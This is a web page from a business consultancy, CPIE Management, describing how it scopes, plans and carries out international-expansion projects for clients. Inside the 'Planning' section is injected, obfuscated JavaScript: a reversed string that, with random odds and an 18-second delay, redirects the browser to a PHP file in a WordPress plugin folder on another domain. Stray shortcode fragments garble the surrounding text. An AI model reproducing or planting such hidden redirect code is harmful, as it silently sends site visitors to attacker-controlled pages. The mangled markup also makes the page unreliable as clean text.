Scoping, planning and execution

All companies want to enhance their business internationally. Before initiating this you, as a company, will need set goals and a plan for execution.

With huge international growth opportunities, many companies in Europe are stepping in to provide goods and services to the consumers. By using CPIE Management as your business development professional, we will provide the necessary skills and capabilities to thrive in these markets.

Many of our clients have a strategy for reaching out in the international market and to get the optimal success you need to plan it well.

In the initial stage of engaging with CPIE Management we focus on the following process:

””

”Scoping”

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In this initial stage, we will jointly set the expectations for the engagement. The scoping process will include discussions with the management about

  • revenue streams
  • cost structure
  • manufacturing
  • distribution
  • storage
  • and all about handling the business at the current stage.

CPIE Management will be introduced to the managements economic goals for entering the new markets. The scoping process will develop a written document with a plan from CPIE Management that will be presented to the management.

””

”Planning

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom” i_background_style=”rounded” i_background_color=”custom” i_size=”lg” i_on_border=”true” i_custom_color=”#ffffff” i_custom_background_color=”#006699″ el_id=”low-corporation-tax”]The plan presented to the management will define the goals and timeframe for the project.

The plan is to be a working tool for both the company and CPIE Management and after any initial amendments, the plan will be the basis on execution.

The plan includes …

  • short-term and long-term goals
  • key performance indicators
  • deliveries
  • service level commitments
  • monitoring
  • reporting levels
  • etc.

The plan will also describe the commercial agreement between the client and CPIE Management.

””

”Execution

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Depending on the plan and the agreement between the client and CPIE Management, these types of projects can take anything from 12 months to several years.

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Ready for the future?

Especially in the current situation after the pandemic, all companies need to focus on enhancing their international market potential to cover any lack in the local market. For companies operating in one or more countries, it is imperative to initiate a further internationalisation to secure the future income.

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